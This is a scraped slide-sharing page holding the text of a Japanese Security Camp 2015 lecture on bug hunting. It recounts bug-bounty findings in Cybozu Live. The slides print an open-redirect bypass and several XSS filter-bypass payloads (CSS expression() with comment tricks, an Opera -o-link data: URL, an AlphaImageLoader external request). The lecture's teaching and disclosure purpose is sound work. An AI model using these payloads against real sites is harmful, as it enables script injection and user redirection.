Soumettre la recherche
Mettre en ligne
SecurityCamp2015「バグハンティング入門」
•
Télécharger en tant que PPTX, PDF
•
49 j'aime
•
31,787 vues
Masato Kinugawa
Suivre
セキュリティ・キャンプ全国大会2015の講義「バグハンティング入門」で使用したスライドです。
Lire moins
Lire la suite
Technologie
Signaler
Partager
Signaler
Partager
1 sur 94
Télécharger maintenant
Recommandé
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE
バグハンターの哀しみ
バグハンターの哀しみ
Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
CODE BLUE
暗号技術の実装と数学
暗号技術の実装と数学
MITSUNARI Shigeo
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
Shota Shinogi
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
Shota Shinogi
事業の進展とデータマネジメント体制の進歩(+プレトタイプの話)
事業の進展とデータマネジメント体制の進歩(+プレトタイプの話)
Tokoroten Nakayama
初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法
kazkiti
Recommandé
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE
バグハンターの哀しみ
バグハンターの哀しみ
Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
CODE BLUE
暗号技術の実装と数学
暗号技術の実装と数学
MITSUNARI Shigeo
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
ネットストーカー御用達OSINTツールBlackBirdを触ってみた.pptx
Shota Shinogi
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
Shota Shinogi
事業の進展とデータマネジメント体制の進歩(+プレトタイプの話)
事業の進展とデータマネジメント体制の進歩(+プレトタイプの話)
Tokoroten Nakayama
初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法
kazkiti
数学カフェ 確率・統計・機械学習回 「速習 確率・統計」
数学カフェ 確率・統計・機械学習回 「速習 確率・統計」
Ken'ichi Matsui
セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)
kazkiti
【メタサーベイ】基盤モデル / Foundation Models
【メタサーベイ】基盤モデル / Foundation Models
cvpaper. challenge
ChatGPTは思ったほど賢くない
ChatGPTは思ったほど賢くない
Carnot Inc.
新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編
infinite_loop
心理的安全性を 0から80ぐらいに上げた話
心理的安全性を 0から80ぐらいに上げた話
Yusuke Hisatsu
強化学習の基礎と深層強化学習(東京大学 松尾研究室 深層強化学習サマースクール講義資料)
強化学習の基礎と深層強化学習(東京大学 松尾研究室 深層強化学習サマースクール講義資料)
Shota Imai
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
Python 3.9からの新定番zoneinfoを使いこなそう
Python 3.9からの新定番zoneinfoを使いこなそう
Ryuji Tsutsui
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
SECCON Beginners
チャットコミュニケーションの問題と心理的安全性の課題 #EOF2019
チャットコミュニケーションの問題と心理的安全性の課題 #EOF2019
Tokoroten Nakayama
フロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjug
Itsuki Kuroda
CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料
SECCON Beginners
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
NTT DATA Technology & Innovation
PWNの超入門 大和セキュリティ神戸 2018-03-25
PWNの超入門 大和セキュリティ神戸 2018-03-25
Isaac Mathis
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
DXとかDevOpsとかのなんかいい感じのやつ 富士通TechLive
DXとかDevOpsとかのなんかいい感じのやつ 富士通TechLive
Tokoroten Nakayama
「のどが渇いた」というユーザーに何を出す? ユーザーの「欲しい」に惑わされない、本当のインサイトを見つけるUXデザイン・UXリサーチ
「のどが渇いた」というユーザーに何を出す? ユーザーの「欲しい」に惑わされない、本当のインサイトを見つけるUXデザイン・UXリサーチ
Yoshiki Hayama
B1-5 フィッシング詐欺についてフィッシングハンターが語らナイト!
B1-5 フィッシング詐欺についてフィッシングハンターが語らナイト!
JPAAWG (Japan Anti-Abuse Working Group)
エキスパートPythonプログラミング改訂3版の読みどころ
エキスパートPythonプログラミング改訂3版の読みどころ
Takayuki Shimizukawa
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
tobaru_yuta
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
CYBIRD Co.,Ltd.
Contenu connexe
Tendances
数学カフェ 確率・統計・機械学習回 「速習 確率・統計」
数学カフェ 確率・統計・機械学習回 「速習 確率・統計」
Ken'ichi Matsui
セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)
kazkiti
【メタサーベイ】基盤モデル / Foundation Models
【メタサーベイ】基盤モデル / Foundation Models
cvpaper. challenge
ChatGPTは思ったほど賢くない
ChatGPTは思ったほど賢くない
Carnot Inc.
新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編
infinite_loop
心理的安全性を 0から80ぐらいに上げた話
心理的安全性を 0から80ぐらいに上げた話
Yusuke Hisatsu
強化学習の基礎と深層強化学習(東京大学 松尾研究室 深層強化学習サマースクール講義資料)
強化学習の基礎と深層強化学習(東京大学 松尾研究室 深層強化学習サマースクール講義資料)
Shota Imai
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
Python 3.9からの新定番zoneinfoを使いこなそう
Python 3.9からの新定番zoneinfoを使いこなそう
Ryuji Tsutsui
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
SECCON Beginners
チャットコミュニケーションの問題と心理的安全性の課題 #EOF2019
チャットコミュニケーションの問題と心理的安全性の課題 #EOF2019
Tokoroten Nakayama
フロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjug
Itsuki Kuroda
CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料
SECCON Beginners
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
NTT DATA Technology & Innovation
PWNの超入門 大和セキュリティ神戸 2018-03-25
PWNの超入門 大和セキュリティ神戸 2018-03-25
Isaac Mathis
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
DXとかDevOpsとかのなんかいい感じのやつ 富士通TechLive
DXとかDevOpsとかのなんかいい感じのやつ 富士通TechLive
Tokoroten Nakayama
「のどが渇いた」というユーザーに何を出す? ユーザーの「欲しい」に惑わされない、本当のインサイトを見つけるUXデザイン・UXリサーチ
「のどが渇いた」というユーザーに何を出す? ユーザーの「欲しい」に惑わされない、本当のインサイトを見つけるUXデザイン・UXリサーチ
Yoshiki Hayama
B1-5 フィッシング詐欺についてフィッシングハンターが語らナイト!
B1-5 フィッシング詐欺についてフィッシングハンターが語らナイト!
JPAAWG (Japan Anti-Abuse Working Group)
エキスパートPythonプログラミング改訂3版の読みどころ
エキスパートPythonプログラミング改訂3版の読みどころ
Takayuki Shimizukawa
Tendances
(20)
数学カフェ 確率・統計・機械学習回 「速習 確率・統計」
数学カフェ 確率・統計・機械学習回 「速習 確率・統計」
セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)
【メタサーベイ】基盤モデル / Foundation Models
【メタサーベイ】基盤モデル / Foundation Models
ChatGPTは思ったほど賢くない
ChatGPTは思ったほど賢くない
新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編
心理的安全性を 0から80ぐらいに上げた話
心理的安全性を 0から80ぐらいに上げた話
強化学習の基礎と深層強化学習(東京大学 松尾研究室 深層強化学習サマースクール講義資料)
強化学習の基礎と深層強化学習(東京大学 松尾研究室 深層強化学習サマースクール講義資料)
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
Python 3.9からの新定番zoneinfoを使いこなそう
Python 3.9からの新定番zoneinfoを使いこなそう
CTF for ビギナーズ バイナリ講習資料
CTF for ビギナーズ バイナリ講習資料
チャットコミュニケーションの問題と心理的安全性の課題 #EOF2019
チャットコミュニケーションの問題と心理的安全性の課題 #EOF2019
フロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjug
CTF for ビギナーズ ネットワーク講習資料
CTF for ビギナーズ ネットワーク講習資料
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
PWNの超入門 大和セキュリティ神戸 2018-03-25
PWNの超入門 大和セキュリティ神戸 2018-03-25
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
DXとかDevOpsとかのなんかいい感じのやつ 富士通TechLive
DXとかDevOpsとかのなんかいい感じのやつ 富士通TechLive
「のどが渇いた」というユーザーに何を出す? ユーザーの「欲しい」に惑わされない、本当のインサイトを見つけるUXデザイン・UXリサーチ
「のどが渇いた」というユーザーに何を出す? ユーザーの「欲しい」に惑わされない、本当のインサイトを見つけるUXデザイン・UXリサーチ
B1-5 フィッシング詐欺についてフィッシングハンターが語らナイト!
B1-5 フィッシング詐欺についてフィッシングハンターが語らナイト!
エキスパートPythonプログラミング改訂3版の読みどころ
エキスパートPythonプログラミング改訂3版の読みどころ
Similaire à SecurityCamp2015「バグハンティング入門」
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
tobaru_yuta
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
CYBIRD Co.,Ltd.
Webアプリケーション脆弱性診断について
Webアプリケーション脆弱性診断について
tobaru_yuta
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
グローバルセキュリティエキスパート株式会社(GSX)
正しく恐れるクラウドのセキュリティ
正しく恐れるクラウドのセキュリティ
ymmt
網元起動隊 デジコミュ秋田
網元起動隊 デジコミュ秋田
Kazunari Takeda
0325できる?どうやる!word pressのセキュリティ運用
0325できる?どうやる!word pressのセキュリティ運用
真琴 平賀
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0
Isaac Mathis
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
Riotaro OKADA
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
schoowebcampus
脆弱性もバグ、だからテストしよう DevSummiFukuoka
脆弱性もバグ、だからテストしよう DevSummiFukuoka
ichikaway
UXとCS(カスタマーサクセス)
UXとCS(カスタマーサクセス)
Yukinori SAEKI
Mix Leap 0214 security
Mix Leap 0214 security
adachi tomohiro
投資会社から見た人工知能(Ai)の事業化トレンド
投資会社から見た人工知能(Ai)の事業化トレンド
Osaka University
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
Masahito Zembutsu
2019 1117 security_jaws_toal_5min_slideshare
2019 1117 security_jaws_toal_5min_slideshare
Shinichiro Kawano
WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka
Katsumi Yamashita
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断研究会
Security measures
Security measures
shusuke-ichikawa
Isc2 japan chapter発足LT
Isc2 japan chapter発足LT
Haga Takeshi
Similaire à SecurityCamp2015「バグハンティング入門」
(20)
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
Webアプリケーション脆弱性診断について
Webアプリケーション脆弱性診断について
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
正しく恐れるクラウドのセキュリティ
正しく恐れるクラウドのセキュリティ
網元起動隊 デジコミュ秋田
網元起動隊 デジコミュ秋田
0325できる?どうやる!word pressのセキュリティ運用
0325できる?どうやる!word pressのセキュリティ運用
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
脆弱性もバグ、だからテストしよう DevSummiFukuoka
脆弱性もバグ、だからテストしよう DevSummiFukuoka
UXとCS(カスタマーサクセス)
UXとCS(カスタマーサクセス)
Mix Leap 0214 security
Mix Leap 0214 security
投資会社から見た人工知能(Ai)の事業化トレンド
投資会社から見た人工知能(Ai)の事業化トレンド
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
2019 1117 security_jaws_toal_5min_slideshare
2019 1117 security_jaws_toal_5min_slideshare
WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断って何をどうすればいいの?(おかわり)
Security measures
Security measures
Isc2 japan chapter発足LT
Isc2 japan chapter発足LT
Plus de Masato Kinugawa
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
Masato Kinugawa
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
Masato Kinugawa
Bug-hunter's Sorrow
Bug-hunter's Sorrow
Masato Kinugawa
SecurityCamp2015「CVE-2015-4483解説」
SecurityCamp2015「CVE-2015-4483解説」
Masato Kinugawa
いでよ、電卓!
いでよ、電卓!
Masato Kinugawa
見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)
Masato Kinugawa
Plus de Masato Kinugawa
(6)
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
Bug-hunter's Sorrow
Bug-hunter's Sorrow
SecurityCamp2015「CVE-2015-4483解説」
SecurityCamp2015「CVE-2015-4483解説」
いでよ、電卓!
いでよ、電卓!
見つけた脆弱性について(cybozu.com Security Challenge)
見つけた脆弱性について(cybozu.com Security Challenge)
Dernier
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
iPride Co., Ltd.
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Hiroshi Tomioka
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
Toru Tamaki
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
CRI Japan, Inc.
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
sn679259
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
atsushi061452
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
Toru Tamaki
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
CRI Japan, Inc.
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
iPride Co., Ltd.
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
iPride Co., Ltd.
Utilizing Ballerina for Cloud Native Integrations
Utilizing Ballerina for Cloud Native Integrations
WSO2
Dernier
(11)
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
Utilizing Ballerina for Cloud Native Integrations
Utilizing Ballerina for Cloud Native Integrations
SecurityCamp2015「バグハンティング入門」
1.
SecurityCamp2015 バグハンティング入門 Masato Kinugawa
2.
講師紹介 名前 Masato Kinugawa 好きな 脆弱性
XSS 職業 会社員・公務員・自営業・ 学生・無職・その他 好きな 休日の 過ごし方 脆弱性を探すこと
3.
話すこと TARGET❶ サイボウズLive TARGET❷ XSSフィルター 脆弱性発見の発想をみていこう! 次のアプリや機能の実際のバグから
4.
脆弱性報酬制度 脆弱性の報告に賞金を支払う制度 ソフトウェア製品で実施しているもの Chrome/Firefox/IDA Proなど Webアプリケーションで実施しているもの Google/Facebook/Twitter/GitHub/Dropboxなど
5.
豆知識 小切手は換金手数料が高い
6.
[注意] 一方で 善意の検査でも攻撃とみなされることもある ISPにインターネットを止められた人もいるらしい 検査するなら検査を歓迎しているところが無難 残念ながら国内で表明しているところはほとんどない 検査を歓迎している企業の一覧ページ https://hackerone.com/programs https://bugcrowd.com/list-of-bug-bounty-programs
7.
サイボウズLive TARGET ❶
8.
ハントするならサイボウズ! 賞金あり! 日本の企業で唯一報酬制度を実施(2015年8月現在) 検証環境で安心して検査できる 日本語で報告できる 丁寧に対応してくれる http://cybozu.co.jp/company/security/bug-bounty/ サイボウズの制度紹介ページ LINE Bug Bounty
(期間限定:2015年8月24日 ~ 9月23日) http://linecorp.com/ja/security/bugbounty/ ++追記++
9.
過去に誰かにみつかった脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-243】SessionFixation 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(書式編集機能) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の
10.
過去に僕がみつけた脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-243】SessionFixation 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(書式編集機能) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の ド ヤ 😥
11.
過去に僕がみつけた脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(書式編集機能) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の
12.
発見のきっかけ 竹迫さんがサイボウズのオフィス周辺のお店をま とめたGoogle MapsのURLをLiveで教えてくれた その下に謎の空のiframeが出現! http://maps.google.com/maps/ms?msid=XXX イメージ図:
13.
空のiframeが表示されるまで Google MapsのURLが張られると 自動でインライン展開する機能があった Liveは全てHTTPS化されているが、竹迫さんの張った http:から始まるMapsのURLをhttp:のままiframeへ 入れていた 混在コンテンツ(Mixed Content)として ブラウザがロードをブロック 空のiframeが表示!
14.
試す 受け取るURLの判断が雑だからこんなことに なっていると予想 とりあえずマップっぽいURLを投稿してみよう https://maps.google.example.com/ あれ…
15.
これは… 「maps.google」がホストにあればロードを開始 無関係のホストをiframeにロードできてしまう! https://maps.google.example.com/
16.
考えられる影響 フィッシング 偽Google Mapsを埋め込んで操作させちゃう? top.location を書き換えることで、オープンリダ イレクト(相当)として利用 [注]
location は例外的に異なるオリジンからも操作できる クリックジャッキング (試していないが)Live内はX-Frame-Options:sameorigin が指定されているので、うまくやればできたかも?
17.
過去に僕がみつけた脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(書式編集機能) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の
18.
こんなURLを発見 https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A %2F%2Fcybozulive.com%2Fideabox%2Flist
19.
おおまかな挙動のチェック アクセスするとログイン画面へ そこからログインすると、redirectUrl に指定したURL にLocation: ヘッダでリダイレクト リダイレクト先に指定できるURLはcybozulive.com内に 制限しようとしている様子 https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A %2F%2Fcybozulive.com%2Fideabox%2Flist
20.
詳しく制限をみる リダイレクトの様子をひたすらみる: https://cybozulive.com/AAA /AAA //cybozulive.com/AAA https://xxxcybozulive.com/AAA https://example.com/cybozulive.com/AAA https://example.comcybozulive.com/AAA https://example.com@cybozulive.com/ https://cybozulive.com/ideabox/loginDirect?redirectUrl=[HERE]
21.
だませたもの( の扱い ) https://example.com@cybozulive.com/ IEやChromeでは: https://example.com/@cybozulive.com/ FirefoxではBasic認証情報の一部: 次のURLにアクセスするとどうなる? 外部のホストへリダイレクトしてしまう
22.
過去に僕がみつけた脆弱性 【CyVDB-なし】XSS(サイボウズLive IDEABOX) 【CyVDB-499】XSS(添付ファイル) 【CyVDB-500】XSS(IEのバグ) 【CyVDB-501】XSS(カテゴリ編集機能) 【CyVDB-502】XSS(コメント欄) 【CyVDB-536】XSS(IEのバグ) 【CyVDB-555】DoS(チャット機能) 【CyVDB-552】XSS(コメント欄) 【CyVDB-553】CSS記述制限のバイパス 【CyVDB-676】iframe内に無関係のページを表示できる 【CyVDB-859】CSS記述制限のバイパス 【CyVDB-905】オープンリダイレクト 【CyVDB-954】閲覧状況の漏えい の
23.
コメントには機能がたくさん 投稿されるhttp(s)なURLをリンク化 レスをリンク( >>1 >1
のような文字から ) 一部のHTMLタグやスタイルの使用 外部サービスの自動インライン表示 YouTube slideshare Flickr 添付ファイルのインライン展開 画像、テキストファイルの表示 音声ファイルの再生 Vimeo Cacoo Google Maps(直前の問題の修正と共に廃止)
24.
正しく動いてる? 組み合わせても正しく動く?
25.
26.
HTMLの要素/属性の制限 <a>a</a> <abbr>abbr</abbr> <acronym>acronym</acronym> <address>address</address> <applet>applet</applet> <area>area</area> <audioscope>audioscope</audioscope> <b>b</b> <base>base</base> <basefont>basefont</basefont> <bdo>bdo</bdo> <bgsound>bgsound</bgsound> <big>big</big> .... <a target="_blank" >a</a> <abbr
>abbr</abbr> <acronym >acronym</acronym> <address >address</address> applet area audioscope <strong >b</strong> base basefont <bdo >bdo</bdo> bgsound <big >big</big> .... ひたすらタグを投稿して使えるものを観察 投稿
27.
リンクの制限 http: https: ftp: mailto: file: <a href="http://example.com/">Link</a> スキームは以下にリストしたものしか使えない telnet: gopher: news: wais: ?!
28.
スタイル部分はブラックリスト expression behavior / behaviour moz-binding include-source url absolute fixed content javascript: vbscript: data: <p
style="AAA:AAA">test</p> 次の文字列を発見するとstyle属性ごと削除
29.
スタイル部分、その他の処理 を削除 /* から */
までを削除 & を &に置換 <p style="x:a/**/bc&"> <p style="x: abc&;" > こんな風に 以下を投稿すると:
30.
Liveが守りたいライン XSSは禁止(もちろん) Live内を閲覧しただけで任意のサイトへリクエ ストを発生させるようなものは禁止 要素/属性は安全なものをリストして許可 スタイル属性値は危険なものをリストして禁止 スクリプトの実行が可能なもの UIを著しく破壊するもの 任意のサイトへリクエストを発生させるもの これを破ればOK!
31.
CSSの expression() CSSからJSを実行できるXSSer御用達機能 このおかげでCSS注入の危険が大きく上がる IEの古いドキュメントモード(<=IE7)で動作 IE11からはドキュメントモードにかかわらず動かない <p style="x:expression(alert(1))">
32.
いろんなexpression() <p style=x:expression(alert(1))> <p style=x:expres/**/sion(alert(1))> <p
style=x:expr0065ssion(alert(1))> <p style=x:expression(alert(1))> http://www.atmarkit.co.jp/ait/articles/0906/04/news111_2.html 教科書に載らないWebアプリケーションセキュリティ(3): [柔軟すぎる]IEのCSS解釈で起こるXSS (2/3) - @IT 昔は全角文字でも動いた: <p style=x:expression(alert(1))>
33.
【CyVDB-553】禁止文字列のバイパス❶ <p style="x:exp/*[0x0A]*/ression(alert(1))"> コメントの間に改行をはさむと コメントが除去されない!
34.
【CyVDB-859】禁止文字列のバイパス❷ コメントの間にU+2028(またはU+2029)を はさむとコメントが除去されない! <p style="x:exp/*[U+2028]*/ression(alert(1))">
35.
expression()のひどいパース これでアラートが動く 今回はコメントやを消すのでギリギリでセーフ <p style="a:a/**/ression(alert(1))('')exp')"> IE CSS解析问题可致新的XSS
Vectors http://wooyun.org/bugs/wooyun-2014-068564
36.
【CyVDB-552】禁止の考慮漏れ❶ <a title="data:text/html, <script>alert(document.domain)</script>" style="-o-link:attr(title);-o-link-source:current" href="http://example.com/">Click</a> Opera 12.x系のみ使える-o-link CSSからリンクを設定できる
37.
HTML5 Security Cheatsheet こうしたテクが一覧されているCheatsheet https://html5sec.org/
38.
【CyVDB-954】禁止の考慮漏れ❷ <p style="filter:progid:DXImageTransform.Microsoft. AlphaImageLoader( src='https://example.com/', sizingMethod='scale')"
>ABC IE9モードまで動くAlphaImageLoaderフィルター url()という形ではなく、src=から 外部リクエストを発生させることができる
39.
HTTPLeaks HTTPリクエストを発生させるような要素/属性 を一覧する @cure53berlin によるプロジェクト https://github.com/cure53/HTTPLeaks
40.
